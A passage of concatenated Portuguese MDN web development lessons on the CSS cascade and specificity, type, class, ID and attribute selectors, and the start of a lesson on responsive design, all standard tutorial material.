controlam qual CSS se aplica a qual elemento. Nas seções abaixo, veremos como eles funcionam juntos. Às vezes pode parecer um pouco complicado, mas você começará a se lembrar deles à medida que adquirir mais experiência com CSS e sempre poderá procurar os detalhes se esquecer! Mesmo desenvolvedores experientes não se lembram de todos os detalhes.\n\nO vídeo a seguir mostra como você pode usar o Firefox DevTools para inspecionar a cascata, a especificidade e mais de uma página:\n\nCompreendendo a herança\n-----------------------\n\nComeçaremos pela herança. No exemplo abaixo, temos um elemento `<ul>` com dois níveis de listas não ordenadas aninhadas dentro dele. Demos ao `<ul>` externo uma borda, preenchimento e cor de fonte.\n\nA propriedade `color` é uma propriedade herdada. Assim, o valor da propriedade `color` é aplicado aos filhos diretos e também aos filhos indiretos — os filhos imediatos `<li>`s e aqueles dentro da primeira lista aninhada. Em seguida, adicionamos a classe `special` à segunda lista aninhada e aplicamos uma cor diferente a ela. Isso então herda através de seus filhos.\n\nPropriedades como `width` (como mencionado anteriormente), `margin`, `padding` e `border` não são propriedades herdadas. Se uma borda fosse herdada pelos filhos neste exemplo de lista, todas as listas e itens de lista ganhariam uma borda - provavelmente não é um efeito que desejaríamos!\n\nEmbora cada página de propriedade CSS liste se a propriedade é herdada ou não, muitas vezes você pode adivinhar o mesmo intuitivamente se souber qual aspecto o valor da propriedade estilizará.\n\n### Controlando a herança\n\nO CSS fornece cinco valores de propriedades universais especiais para controlar a herança. Cada propriedade CSS aceita esses valores.\n\n`inherit` (en-US)\n\ndefine o valor da propriedade aplicada a um elemento selecionado para ser igual ao de seu elemento pai. Efetivamente, isso \"ativa a herança\".\n\n`initial`\n\ndefine o valor da propriedade aplicada a um elemento selecionado para o valor inicial dessa propriedade.\n\n`revert` (en-US)\n\nredefine o valor da propriedade aplicado a um elemento selecionado para o estilo padrão do navegador, em vez dos padrões aplicados a essa propriedade. Esse valor age como `unset` (en-US) em muitos casos.\n\n`revert-layer` (en-US)\n\nRedefine o valor da propriedade aplicada a um elemento selecionado para o valor estabelecido em uma camada em cascata anterior.\n\n`unset` (en-US)\n\nRedefine a propriedade para seu valor natural, o que significa que, se a propriedade for herdada naturalmente, ela agirá como `herdar`, caso contrário, agirá como `inicial`.\n\n\n**Nota:** Consulte Tipos de origem (en-US) para obter mais informações sobre cada um deles e como eles funcionam.\n\nPodemos olhar para uma lista de links e explorar como funcionam os valores universais. O exemplo ao vivo abaixo permite que você jogue com o CSS e veja o que acontece quando você faz alterações. Brincar com código é realmente a melhor maneira de entender melhor HTML e CSS.\n\nPor exemplo:\n\n1. O segundo item da lista tem a classe `my-class-1` aplicada. Isso define a cor do elemento `<a>` aninhado dentro dele como `inherit`. Se você remover a regra, como ela altera a cor do link?\n2. Você entende por que o terceiro e o quarto elos são da cor que são? O terceiro link é definido como `initial`, o que significa que ele usa o valor inicial da propriedade (neste caso preto) e não o padrão do navegador para links, que é azul. O quarto é definido como `unset`, o que significa que o texto do link usa a cor do elemento pai, verde.\n3. Qual dos links mudará de cor se você definir uma nova cor para o elemento `<a>` — por exemplo `a { color: red; }`?\n4. Depois de ler a próxima seção sobre como redefinir todas as propriedades, volte e altere a propriedade `color` para `all`. Observe como o segundo link está em uma nova linha e tem um marcador. Que propriedades você acha que foram herdadas?\n\n### Redefinindo todos os valores de propriedade\n\nA propriedade abreviada CSS `all` (en-US) pode ser usada para aplicar um desses valores de herança a (quase) todas as propriedades de uma vez. Seu valor pode ser qualquer um dos valores de herança (`inherit`, `initial`, `revert`, `revert-layer` ou `unset`). É uma maneira conveniente de desfazer alterações feitas em estilos para que você possa voltar a um ponto de partida conhecido antes de iniciar novas alterações.\n\nNo exemplo abaixo, temos dois blockquotes. O primeiro tem um estilo aplicado ao próprio elemento blockquote. O segundo tem uma classe aplicada ao blockquote, que define o valor de `all` como `unset`.\n\nTente definir o valor de `all` para alguns dos outros valores disponíveis e observe qual é a diferença.\n\nEntendendo a cascata\n--------------------\n\nAgora entendemos que a herança é o motivo pelo qual um parágrafo aninhado profundamente na estrutura do seu HTML tem a mesma cor do CSS aplicado ao corpo. A partir das lições introdutórias, entendemos como alterar o CSS aplicado a algo em qualquer ponto do documento — seja atribuindo CSS a um elemento ou criando uma classe. Veremos agora como cascata define quais regras CSS se aplicam quando mais de um bloco de estilo aplica a mesma propriedade, mas com valores diferentes, ao mesmo elemento.\n\nHá três fatores a serem considerados, listados aqui em ordem crescente de importância. Os posteriores anulam os anteriores:\n\n1. **Ordem de origem**\n2. **Especificidade**\n3. **Importância**\n\nVamos examiná-los para ver como os navegadores descobrem exatamente qual CSS deve ser aplicado.\n\n### Ordem de origem\n\nJá vimos como a ordem de origem é importante para a cascata. Se você tiver mais de uma regra, todas com exatamente o mesmo peso, a que vier por último no CSS vencerá. Você pode pensar nisso como: a regra que está mais próxima do próprio elemento sobrescreve as anteriores até que a última vença e estilize o elemento.\n\nA ordem da origem só importa quando o peso da especificidade das regras é o mesmo, então vamos ver a especificidade:\n\n### Especificidade\n\nMuitas vezes, você se deparará com uma situação em que sabe que uma regra vem depois na folha de estilo, mas uma regra conflitante anterior é aplicada. Isso acontece porque a regra anterior tem uma **especificidade maior** — ela é mais específica e, portanto, está sendo escolhida pelo navegador como aquela que deve estilizar o elemento.\n\nComo vimos anteriormente nesta lição, um seletor de classe tem mais peso do que um seletor de elemento, portanto, as propriedades definidas no bloco de estilo de classe substituirão aquelas definidas no bloco de estilo de elemento.\n\nAlgo a observar aqui é que, embora estejamos pensando em seletores e nas regras que são aplicadas ao texto ou componente que eles selecionam, não é toda a regra que é substituída, apenas as propriedades que são declaradas em vários lugares.\n\nEsse comportamento ajuda a evitar a repetição em seu CSS. Uma prática comum é definir estilos genéricos para os elementos básicos e, a seguir, criar classes para os diferentes. Por exemplo, na folha de estilo abaixo, definimos estilos genéricos para cabeçalhos de nível 2 e, em seguida, criamos algumas classes que alteram apenas algumas das propriedades e valores. Os valores definidos inicialmente são aplicados a todos os cabeçalhos, depois os valores mais específicos são aplicados aos cabeçalhos com as classes.\n\nVamos agora dar uma olhada em como o navegador calculará a especificidade. Já sabemos que um seletor de elemento tem baixa especificidade e pode ser sobrescrito por uma classe. Essencialmente, um valor em pontos é concedido a diferentes tipos de seletores, e somando-os fornece o peso desse seletor específico, que pode ser avaliado em relação a outras correspondências em potencial.\n\nA quantidade de especificidade que um seletor tem é medida usando três valores diferentes (ou componentes), que podem ser pensados como colunas ID, CLASS e ELEMENT nas centenas, dezenas e unidades:\n\n* **Identificadores**: Pontue um nesta coluna para cada seletor de ID contido no seletor geral.\n* **Classes**: pontue um nesta coluna para cada seletor de classe, seletor de atributo ou pseudoclasse contido no seletor geral.\n* **Elementos**: Pontue um nesta coluna para cada seletor de elemento ou pseudoelemento contido no seletor geral.\n\n**Nota:** O seletor universal (`*`), combinators (en-US) (`+`, `>`, `~`, ' ') e seletor de ajuste de especificidade (`:where()` (en-US)) juntamente com seus parâmetros, não têm efeito na especificidade.\n\nA negação (`:not()`), seletor relacional ([`:has()`](/pt-BR/docs/Web/CSS /:has)), e as pseudoclasses matches-any (`:is()` (en-US)) não têm efeito na especificidade, mas suas parâmetros fazem. A especificidade que cada um contribui para o algoritmo de especificidade é a especificidade do seletor no parâmetro que tem maior peso.\n\nA tabela a seguir mostra alguns exemplos isolados para você entrar no clima. Tente passar por eles e certifique-se de entender por que eles têm a especificidade que lhes demos. Ainda não abordamos os seletores em detalhes, mas você pode encontrar detalhes de cada seletor no MDN referência de seletores.\n\n| Seletor | Identificadores | Classes | Elementos | Especificidade total |\n| --- | --- | --- | --- | --- |\n| `h1` | 0 | 0 | 1 | 0-0-1 |\n| `h1 + p::first-letter` | 0 | 0 | 3 | 0-0-3 |\n| `li > a[href*=\"en-US\"] > .inline-warning` | 0 | 2 | 2 | 0-2-2 |\n| `#identifier` | 1 | 0 | 0 | 1-0-0 |\n| `button:not(#mainBtn, .cta`) | 1 | 0 | 1 | 1-0-1 |\n\nAntes de prosseguirmos, vamos ver um exemplo em ação.\n\nEntão, o que está acontecendo aqui? Em primeiro lugar, estamos interessados apenas nas sete primeiras regras deste exemplo e, como você notará, incluímos seus valores de especificidade em um comentário antes de cada uma.\n\n* Os dois primeiros seletores estão competindo pelo estilo da cor de fundo do link. O segundo ganha e torna o fundo azul porque tem um seletor de ID extra na cadeia: sua especificidade é 2-0-1 vs. 1-0-1.\n* Os seletores 3 e 4 estão competindo pelo estilo da cor do texto do link. O segundo ganha e torna o texto branco porque, embora tenha um seletor de elemento a menos, o seletor ausente é trocado por um seletor de classe, que tem mais peso do que os seletores de elemento infinito. A especificidade vencedora é 1-1-3 vs. 1-0-4.\n* Os seletores de 5 a 7 estão competindo pelo estilo da borda do link ao passar o mouse. O seletor 6 claramente perde para o seletor 5 com uma especificidade de 0-2-3 vs. 0-2-4; ele tem um seletor de elemento a menos na cadeia. O seletor 7, no entanto, supera os seletores 5 e 6 porque tem o mesmo número de subseletores na cadeia que o seletor 5, mas um elemento foi trocado por um seletor de classe. Assim, a especificidade vencedora é 0-3-3 vs. 0-2-3 e 0-2-4.\n\n**Nota:** Cada tipo de seletor tem seu próprio nível de especificidade que não pode ser substituído por seletores com um nível de especificidade inferior. Por exemplo, um seletor *million* **class** combinado não seria capaz de sobrescrever a especificidade do seletor *one* **id**.\n\nA melhor forma de avaliar a especificidade é pontuar os níveis de especificidade individualmente começando do mais alto e passando para o mais baixo quando necessário. Somente quando há um empate entre as pontuações do seletor dentro de uma coluna de especificidade, você precisa avaliar a próxima coluna abaixo; caso contrário, você pode desconsiderar os seletores de especificidade mais baixa, pois eles nunca podem sobrescrever os seletores de especificidade mais alta.\n\n### Estilos Embutidos\n\nOs estilos embutidos, ou seja, a declaração de estilo dentro de um atributo `style`, têm precedência sobre todos os estilos normais, independentemente da especificidade. Tais declarações não possuem seletores, mas sua especificidade pode ser interpretada como 1-0-0-0; sempre mais do que qualquer outro peso de especificidade, não importa quantos IDs estejam nos seletores.\n\n### !important\n\nHá um pedaço especial de CSS que você pode usar para anular todos os cálculos acima, até mesmo estilos embutidos - o sinalizador `!important`. No entanto, você deve ter muito cuidado ao usá-lo. Este sinalizador é usado para tornar uma propriedade individual e um par de valores a regra mais específica, substituindo assim as regras normais da cascata, incluindo estilos embutidos normais.\n\n**Nota:** É útil saber que o sinalizador `!important` existe para que você saiba o que é quando o encontrar no código de outras pessoas. **Entretanto, nós recomendamos fortemente que você nunca o use, a menos que seja absolutamente necessário.** O sinalizador `!important` muda a maneira como a cascata normalmente funciona, então pode tornar os problemas de depuração de CSS muito difíceis de resolver, especialmente em um grande folha de estilo.\n\nDê uma olhada neste exemplo onde temos dois parágrafos, um dos quais tem um ID.\n\nVamos examinar isso para ver o que está acontecendo - tente remover algumas das propriedades para ver o que acontece se você achar difícil de entender:\n\n1. Você verá que os valores `color` e `padding` da terceira regra foram aplicados, mas os valores `background-color` não tem. Por que? Realmente, todos os três certamente devem ser aplicados porque as regras posteriores na ordem de origem geralmente substituem as regras anteriores.\n2. No entanto, as regras acima vencem porque os seletores de classe têm maior especificidade do que os seletores de elemento.\n3. Ambos os elementos têm um `class` de `better`, mas o segundo tem um [`id`](/pt-BR/docs /Web/HTML/Global*attributes#id) de `vencedor` também. Como os IDs têm uma especificidade \\_ainda maior* do que as classes (você só pode ter um elemento com cada ID exclusivo em uma página, mas muitos elementos com a mesma classe — os seletores de ID são *muito específicos* no que visam), a cor de fundo vermelha e o 1px a borda preta deve ser aplicada ao 2º elemento, com o primeiro elemento obtendo a cor de fundo cinza e sem borda, conforme especificado pela classe.\n4. O segundo elemento *fica* com a cor de fundo vermelha, mas sem borda. Por que? Por causa do sinalizador `!important` na segunda regra. Adicionar o sinalizador `!important` depois de `border: none` significa que esta declaração prevalecerá sobre o valor `border` na regra anterior, mesmo que o seletor de ID tenha maior especificidade.\n\n**Nota:** A única maneira de substituir uma declaração importante é incluir outra declaração importante com a *mesma especificidade* posteriormente na ordem de origem, ou uma com maior especificidade, ou incluir uma declaração importante em uma camada em cascata anterior (nós ainda não cobrimos as camadas em cascata).\n\nUma situação em que você pode ter que usar o sinalizador `!important` é quando você está trabalhando em um CMS onde você não pode editar os módulos CSS principais, e você realmente quer sobrescrever um estilo embutido ou uma declaração importante que não pode ser substituído de qualquer outra forma. Mas realmente, não use se puder evitá-lo.\n\nO efeito da localização do CSS\n------------------------------\n\nPor fim, é importante observar que a precedência de uma declaração CSS depende de qual folha de estilo e camada em cascata ela é especificada.\n\nÉ possível que os usuários definam folhas de estilo personalizadas para substituir os estilos do desenvolvedor. Por exemplo, um usuário com deficiência visual pode querer definir o tamanho da fonte em todas as páginas da web que visita para ter o dobro do tamanho normal para permitir uma leitura mais fácil.\n\nTambém é possível declarar estilos de desenvolvedor em camadas em cascata: você pode fazer com que estilos sem camadas substituam estilos declarados em camadas ou você pode fazer com que estilos declarados em camadas posteriores substituam estilos de camadas declaradas anteriormente. Por exemplo, como desenvolvedor, talvez você não consiga editar uma folha de estilo de terceiros, mas pode importar a folha de estilo externa para uma camada em cascata para que todos os seus estilos substituam facilmente os estilos importados sem se preocupar com a especificidade do seletor de terceiros.\n\n### Ordem das declarações de substituição\n\nDeclarações conflitantes serão aplicadas na seguinte ordem, com as posteriores substituindo as anteriores:\n\n1. Declarações nas folhas de estilo do agente do usuário (por exemplo, os estilos padrão do navegador, usados quando nenhum outro estilo é definido).\n2. Declarações normais em folhas de estilo do usuário (estilos personalizados definidos por um usuário).\n3. Declarações normais em folhas de estilo de autor (esses são os estilos definidos por nós, os desenvolvedores da web).\n4. Declarações importantes nas folhas de estilo do autor.\n5. Declarações importantes nas folhas de estilo do usuário.\n6. Declarações importantes nas folhas de estilo do agente do usuário.\n\n**Nota:** A ordem de precedência é invertida para estilos sinalizados com `!important`. Faz sentido que as folhas de estilo dos desenvolvedores da Web substituam as folhas de estilo do usuário, para que o design possa ser mantido como pretendido; no entanto, às vezes os usuários têm boas razões para substituir os estilos de desenvolvedor da Web, como mencionado acima, e isso pode ser feito usando `!important` em suas regras.\n\n### Ordem das camadas em cascata\n\nMesmo que camadas em cascata seja um tópico avançado e você não possa usar esse recurso imediatamente, é importante entender como as camadas são colocadas em cascata.\n\nQuando você declara CSS em camadas em cascata, a ordem de precedência é determinada pela ordem em que as camadas são declaradas. Os estilos CSS declarados fora de qualquer camada são combinados, na ordem em que esses estilos são declarados, em uma camada sem nome, como se fosse a última camada declarada. Com estilos concorrentes normais (não importantes), as camadas posteriores têm precedência sobre as camadas definidas anteriormente. No entanto, para estilos sinalizados com `!important`, a ordem é inversa, com estilos importantes em camadas anteriores tendo precedência sobre estilos importantes declarados em camadas subsequentes ou fora de qualquer camada. Os estilos embutidos têm precedência sobre todos os estilos de autor, independentemente da camada.\n\nQuando você tem vários blocos de estilo em diferentes camadas fornecendo valores concorrentes para uma propriedade em um único elemento, a ordem na qual as camadas são declaradas determina a precedência. A especificidade entre as camadas não importa, mas a especificidade dentro de uma única camada ainda importa.\n\nVamos discutir algumas coisas do exemplo acima para entender o que está acontecendo. Duas camadas foram declaradas, `firstLayer` e `secondLayer`, nessa ordem. Mesmo que a especificidade em `secondLayer` seja a mais alta, nenhuma propriedade dessa declaração é usada. Por que? Como os estilos normais sem camadas têm precedência sobre os estilos normais com camadas, independentemente da especificidade, e os estilos com camadas importantes têm precedência sobre os estilos importantes declarados em camadas posteriores, novamente, independentemente da especificidade.\n\nSe você alterar a primeira linha do CSS neste exemplo para ler `@layer secondLayer, firstLayer;`, você alterará a ordem de declaração da camada e todos os estilos importantes de `firstLayer` serão alterados para seus respectivos valores em `secondLayer` .\n\nTeste suas habilidades!\n-----------------------\n\nVocê chegou ao final deste artigo, mas consegue se lembrar das informações mais importantes? Você pode encontrar alguns testes adicionais para verificar se reteve essas informações antes de prosseguir — consulte Teste suas habilidades: The Cascade (en-US).\n\nResumo\n------\n\nSe você entendeu a maior parte deste artigo, então muito bem — você começou a se familiarizar com a mecânica fundamental do CSS. A seguir, examinaremos mais profundamente as Camadas em cascata (en-US).\n\nSe você não entendeu totalmente a cascata, a especificidade e a herança, não se preocupe! Esta é definitivamente a coisa mais complicada que abordamos até agora no curso e é algo que mesmo os desenvolvedores web profissionais às vezes acham complicado. Aconselhamos que você retorne a este artigo algumas vezes ao longo do curso e continue pensando sobre isso.\n\nVolte aqui se você começar a encontrar problemas estranhos com estilos que não se aplicam conforme o esperado. Pode ser um problema de especificidade.\n\n* Anterior  (en-US)\n* Menu: Building blocks\n* Próxima  (en-US)"}
{"title":"Seletores de tipo, classe e ID - Aprendendo desenvolvimento web","text":"Seletores de tipo, classe e ID\n==============================\n\n* Anterior\n* Menu: Building blocks\n* Próxima\n\nNesta lição, vamos analisar alguns dos seletores simples, o qual provavelmente serão os mais frequentemente usados no seu trabalho.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Familiaridade básica com uso de computadores,\n Instalando software básico, conhecimento básico em\n como trabalhar com arquivos, HTML básico (estude\n Introdução ao HTML), e uma ideia de como o CSS funciona (estude\n CSS primeiros passos.)\n  |\n| Objetivo: | Aprender sobre os diferentes seletores CSS, que podemos usar para aplicar em um documento CSS. |\n\nSeletores de tipo\n-----------------\n\nÀs vezes, um **seletor de tipo** é chamado de *seletor de nome de tag* ou *seletor de elemento* porque seleciona uma tag/elemento HTML em seu documento. No exemplo abaixo, usamos os seletores `span`, `em` e `strong`.\n\n**Tente adicionar uma regra CSS para selecionar o elemento `<h1>` e mudar sua cor para azul.**\n\nO seletor universal\n-------------------\n\nO seletor universal é indicado por um asterisco (`*`). Ele seleciona tudo no documento (ou dentro do elemento pai se estiver sendo encadeado com outro elemento e um combinador descendente). No exemplo a seguir, usamos o seletor universal para remover as margens de todos os elementos. Em vez do estilo padrão adicionado pelo navegador – que separa títulos e parágrafos com margens – tudo está próximo.\n\nÀs vezes, esse tipo de comportamento pode ser visto em \"redefinir folhas de estilo\", que remove todo o estilo do navegador. Como o seletor universal faz alterações globais, nós o utilizamos para situações muito específicas, como a descrita a seguir.\n\n### Usando o seletor universal para facilitar a leitura de seus seletores\n\nUm uso do seletor universal é tornar os seletores mais fáceis de ler e mais óbvios em termos do que estão fazendo. Por exemplo, se quisermos selecionar qualquer elemento descendente de um elemento `<article>` que seja o primeiro filho de seu pai, incluindo filhos diretos, e torná-los em negrito, poderíamos usar o método `:first-child` pseudo-class. Aprenderemos mais sobre isso na lição sobre pseudo-classes e pseudo-elementos (en-US), como um seletor descendente junto com o seletor de elemento `<article>`:\n\n\n```css\narticle :first-child {\n  font-weight: bold;\n}\n```\n\n\nNo entanto, este seletor pode ser confundido com `article:first-child`, que selecionará qualquer elemento `<article>` que seja o primeiro filho de outro elemento.\n\nPara evitar essa confusão, podemos adicionar o seletor universal à pseudoclasse `:first-child`, para que fique mais óbvio o que o seletor está fazendo. Está selecionando *any* elemento que é o primeiro filho de um elemento `<article>`, ou o primeiro filho de qualquer elemento descendente de `<article>`:\n\n\n```css\narticle \\*:first-child {\n  font-weight: bold;\n}\n```\n\n\nEmbora ambos façam a mesma coisa, a legibilidade é significativamente melhorada.\n\nSeletores de classe\n-------------------\n\nO seletor de classe começa com um caractere de ponto (`.`). Ele selecionará tudo no documento com essa classe aplicada a ele. No exemplo ao vivo abaixo, criamos uma classe chamada `highlight` e a aplicamos a vários lugares no meu documento. Todos os elementos que possuem a classe aplicada são realçados.\n\n### Segmentação de classes em elementos específicos\n\nVocê pode criar um seletor que terá como alvo elementos específicos com a classe aplicada. Neste próximo exemplo, vamos destacar um `<span>` com uma classe de `highlight` diferentemente de um cabeçalho `<h1>` com uma classe de `highlight`. Fazemos isso usando o seletor de tipo para o elemento que queremos direcionar, com a classe anexada usando um ponto, sem espaço em branco entre eles.\n\nEssa abordagem reduz o escopo de uma regra. A regra se aplicará apenas a esse elemento específico e à combinação de classe. Você precisaria adicionar outro seletor se decidisse que a regra deveria se aplicar a outros elementos também.\n\n### Segmente um elemento se ele tiver mais de uma classe aplicada\n\nVocê pode aplicar várias classes a um elemento e direcioná-las individualmente ou apenas selecionar o elemento quando todas as classes no seletor estiverem presentes. Isso pode ser útil ao criar componentes que podem ser combinados de diferentes maneiras em seu site.\n\nNo exemplo abaixo, temos um `<div>` que contém uma nota. A borda cinza é aplicada quando a caixa tem uma classe `notebox`. Se também tiver uma classe de `warning` ou `danger`, alteramos o `border-color` (en-US).\n\nPodemos dizer ao navegador que só queremos corresponder ao elemento se ele tiver duas classes aplicadas, encadeando-as sem espaço em branco entre elas. Você verá que o último `<div>` não recebe nenhum estilo aplicado, pois possui apenas a classe `danger`; ele também precisa do `notebox` para aplicar qualquer coisa.\n\nseletores de ID\n---------------\n\nUm seletor de ID começa com um `#` em vez de um caractere de ponto, mas é usado da mesma forma que um seletor de classe. No entanto, um ID pode ser usado apenas uma vez por página e os elementos podem ter apenas um único valor `id` aplicado a eles. Ele pode selecionar um elemento que tenha o `id` definido nele, e você pode preceder o ID com um seletor de tipo para direcionar o elemento apenas se o elemento e o ID corresponderem. Você pode ver esses dois usos no exemplo a seguir:\n\n**Aviso:** usar o mesmo ID várias vezes em um documento pode parecer funcionar para fins de estilo, mas não faça isso. Isso resulta em código inválido e causará um comportamento estranho em muitos lugares.\n\n**Nota:** Como aprendemos na lição sobre especificidade, um ID tem alta especificidade. Ele anulará a maioria dos outros seletores. Na maioria dos casos, é preferível adicionar uma classe a um elemento em vez de um ID. No entanto, se usar o ID for a única maneira de segmentar o elemento — talvez porque você não tenha acesso à marcação e não possa editá-la — isso funcionará.\n\nResumo\n------\n\nIsso encerra os seletores de tipo, classe e ID. Continuaremos explorando seletores observando seletores de atributos.\n\n* Anterior\n* Menu: Building blocks\n* Próxima"}
{"title":"Seletores de atributo - Aprendendo desenvolvimento web","text":"Seletores de atributo\n=====================\n\n* Anterior\n* Menu: Building blocks\n* Próxima  (en-US)\n\nComo você sabe de seu estudo de HTML, os elementos podem ter atributos que fornecem mais detalhes sobre o elemento que está sendo marcado. Em CSS, você pode usar seletores de atributo para direcionar elementos com determinados atributos. Esta lição mostrará como usar esses seletores que são muito úteis.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos em informática,\n software básico instalado, conhecimentos básicos de\n trabalhando com arquivos, Basico de HTML (Estude\n Introdução para o HTML), e uma ideia de como CSS funciona (Estude\n CSS primeiros paços.)\n  |\n| Objetivo: | Entender o que são seletores de atributo e como usa-los. |\n\nSeletores de Presença e Valor\n-----------------------------\n\nEsses seletores permitem a seleção de um elemento com base na presença de um atributo sozinho (por exemplo, href) ou em várias correspondências diferentes com o valor do atributo.\n\n| Seletor | Exemplo | Descrição |\n| --- | --- | --- |\n| `[attr]` | `a[title]` | Corresponde a elementos com um atributo attr (cujo nome é o valor entre colchetes). |\n| `[attr=value]` | `a[href=\"https://example.com\"]` | Corresponde a elementos com um atributo attr cujo valor é exatamente value - a string entre aspas. |\n| `[attr~=value]` | `p[class~=\"special\"]` | Corresponde a elementos com um atributo attr cujo valor é exatamente value, ou contém valor em sua lista de valores (separados por espaço). |\n| `[attr|=value]` | `div[lang|=\"zh\"]` | Corresponde a elementos com um atributo attr cujo valor é exatamente value ou começa com value imediatamente seguido por um hífen. |\n\nNo exemplo abaixo você pode ver esses seletores sendo usados.\n\n* usando `li[class]` podemos combinar qualquer seletor com um atributo de classe. Isso corresponde a todos os itens da lista, **exceto o primeiro.**\n* `li[class=\"a\"]` corresponde a um seletor com uma classe de a, mas não a um seletor com uma classe de a com outra classe separada por espaço como parte do valor. Ele seleciona o segundo item da lista.\n* `li[class~=\"a\"]` corresponderá a uma classe de a, mas também a um valor que contém a classe de a como parte de uma lista separada por espaços em branco. Ele seleciona o segundo e o terceiro itens da lista.\n\nSeletores de SubString\n----------------------\n\nEsses seletores permitem uma correspondência mais avançada de substrings dentro do valor do seu atributo. Por exemplo, se você tivesse classes de `box-warning` e `box-error` e quisesse combinar tudo que começou com a string \"box-\", você poderia usar `[class^=\"box-\"]` para selecionar os dois (ou `[class|=\"box\"]` como descrito abaixo).\n\n| Seletor | Exemplo | Descrição |\n| --- | --- | --- |\n| `[attr^=value]` | `li[class^=\"box-\"]` | Corresponde a elementos com um atributo attr (cujo nome é o valor entre colchetes), cujo valor começa com valor. |\n| `[attr$=value]` | `li[class$=\"-box\"]` | Corresponde a elementos com um atributo attr cujo valor termina com valor. |\n| `[attr*=value]` | `li[class*=\"box\"]` | Corresponde a elementos com um atributo attr cujo valor contém o valor em qualquer lugar dentro da string. |\n\n(À parte/lado: pode ser útil notar que `^` e `$` há muito são usados como âncoras nas chamadas expressões regulares para significar que começa com e termina com.)\n\nO próximo exemplo mostra o uso desses seletores:\n\n* li [class ^ = \"a\"] corresponde a qualquer valor de atributo que comece com a, portanto, corresponde aos dois primeiros itens da lista.\n* li [class $ = \"a\"] corresponde a qualquer valor de atributo que termina com a, portanto, corresponde ao primeiro e terceiro item da lista.\n* li [class \\* = \"a\"] corresponde a qualquer valor de atributo onde a apareça em qualquer lugar na string, portanto, corresponde a todos os itens da nossa lista\n\nSensibilidade à maiúsculas\n--------------------------\n\nSe você deseja combinar valores de atributo sem distinção entre maiúsculas e minúsculas, você pode usar o valor i antes do colchete de fechamento. Este sinalizador informa ao navegador para corresponder caracteres ASCII sem distinção entre maiúsculas e minúsculas. Sem o sinalizador, os valores serão correspondidos de acordo com a distinção entre maiúsculas e minúsculas do idioma do documento - no caso do HTML, será sensível a maiúsculas e minúsculas.\n\nNo exemplo abaixo, o primeiro seletor corresponderá a um valor que começa com um - ele corresponde apenas ao primeiro item da lista porque os outros dois itens da lista começam com um A maiúsculo. O segundo seletor usa o sinalizador que não diferencia maiúsculas de minúsculas e, portanto, corresponde a todos os itens da lista.\n\n**Nota:** Há tambem um valor mais novo `s`, que forçará a correspondência com distinção entre maiúsculas e minúsculas em contextos em que a correspondência normalmente não diferencia maiúsculas de minúsculas; no entanto, isso não é bem suportado em navegadores e não é muito útil em um contexto HTML.\n\nPróximos passos\n---------------\n\nAgora que terminamos com os seletores de atributo, você pode continuar no próximo artigo e ler sobre pseudo-class and pseudo-element selectors (en-US).\n\n* Anterior\n* Menu: Building blocks\n* Próxima  (en-US)"}
{"title":"Design Responsivo - Aprendendo desenvolvimento web","text":"Design Responsivo\n=================\n\n* Anterior\n* Menu: CSS layout\n* Próxima  (en-US)\n\nNos primórdios do web design, páginas eram criadas para serem visualizadas em um tamanho de tela específico. Se o usuário tivesse uma tela maior ou menor do que o esperado, os resultados iam de barras de rolagem indesejadas, tamanhos de linha excessivamente longos e uso inadequado do espaço. À medida que diferentes tamanhos de tela foram aparecendo, surgiu o conceito de web design responsivo (RWD), um conjunto de práticas que permite que páginas da Web alterem seu layout e aparência para se adequarem a diferentes larguras, resoluções, etc. É uma ideia que mudou a forma de como projetamos para a Web com múltiplos dispositivos e, neste artigo, ajudaremos você a entender as principais técnicas que você precisa conhecer para dominá-la.\n\n|  |  |\n| --- | --- |\n| Prerrequisitos: | \n HTML básico (estude\n Introduction to HTML), e uma idea de como o CSS funciona (estude\n CSS first steps e\n CSS building blocks.)\n  |\n| Objetivo: | Entender os conceitos fundamentais e a história do design responsivo. |\n\nHistória dos layouts de sites\n-----------------------------\n\nEm algum ponto da história, você tinha duas opções ao criar um site:\n\n* Você pode criar um site *líquido*, que se estenderia para preencher a janela do navegador\n* ou um site de *largura fixa*, que seria um tamanho fixo em pixels.\n\nEssas duas abordagens, geralmente, resultavam em um site com a melhor aparência na tela da pessoa que o projetava! O site líquido resultou em um design esmagado para telas menores (como visto abaixo) e comprimentos de linha muito longos em telas maiores.\n\n![A layout with two columns squashed into a mobile size viewport.](/pt-BR/docs/Learn/CSS/CSS_layout/Responsive_Design/mdn-rwd-liquid.png)\n\n**Nota:** Veja este layout líquido simples: exemplo, código-fonte. Ao visualizar o exemplo, arraste a janela do navegador para dentro e para fora para ver como isso fica em tamanhos diferentes.\n\nO site de largura fixa criava uma barra de rolagem horizontal em telas menores que a largura do site (como mostrado abaixo) e muito espaço em branco nas bordas do design em telas maiores.\n\n![A layout with a horizontal scrollbar in a mobile viewport.](/pt-BR/docs/Learn/CSS/CSS_layout/Responsive_Design/mdn-rwd-fixed.png)\n\n**Nota:** Veja este layout simples de largura fixa: exemplo, código-fonte. Observe novamente o resultado ao alterar o tamanho da janela do navegador.\n\n**Nota:** As capturas de tela acima foram tiradas usando o Responsive Design Mode no Firefox DevTools.\n\nÀ medida que a Web para dispositivos móveis começava a se tornar realidade com os primeiros telefones com essas características, empresas que desejavam adotar os dispositivos móveis geralmente criavam uma versão mobile do seu site, com uma URL diferente (geralmente algo como m.exemplo.com ou exemplo.mobi) Isso significava que duas versões separadas do site tinham que ser desenvolvidas e mantidas atualizadas.\n\nAlém disso, esses sites para celular geralmente ofereciam uma experiência muito restrita. À medida que os dispositivos móveis se tornaram mais poderosos e capazes de exibir sites completos, os usuários de celular ficaram frustrados, pois, se viram presos na versão mobile do site e incapazes de acessar todas as informações que faziam parte da versão para desktop.\n\nLayouts flexiveis antes do design responsivo\n--------------------------------------------\n\nVárias abordagens foram desenvolvidas para tentar resolver as desvantagens dos métodos de largura líquida ou largura fixa da construção de sites. Em 2004, Cameron Adams escreveu um artigo intitulado Resolution dependent layout, descrevendo um método para criar um design que pudesse se adaptar a diferentes resoluções de tela. Essa abordagem necessitava do JavaScript para detectar a resolução da tela e carregar o CSS correto.\n\nZoe Mickley Gillenwater foi fundamental no seu trabalho de descrever e formalizar as diferentes maneiras pelas quais sites flexíveis poderiam ser criados, tentando encontrar um meio termo entre preencher a tela ou ter tamanho completamente fixo.\n\nDesign Responsivo\n-----------------\n\nO termo design responsivo foi cunhado por Ethan Marcotte em 2010, e descreveu o uso de três técnicas combinadas.\n\n1. A primeira foi a ideia de grids fluidas, que já estava 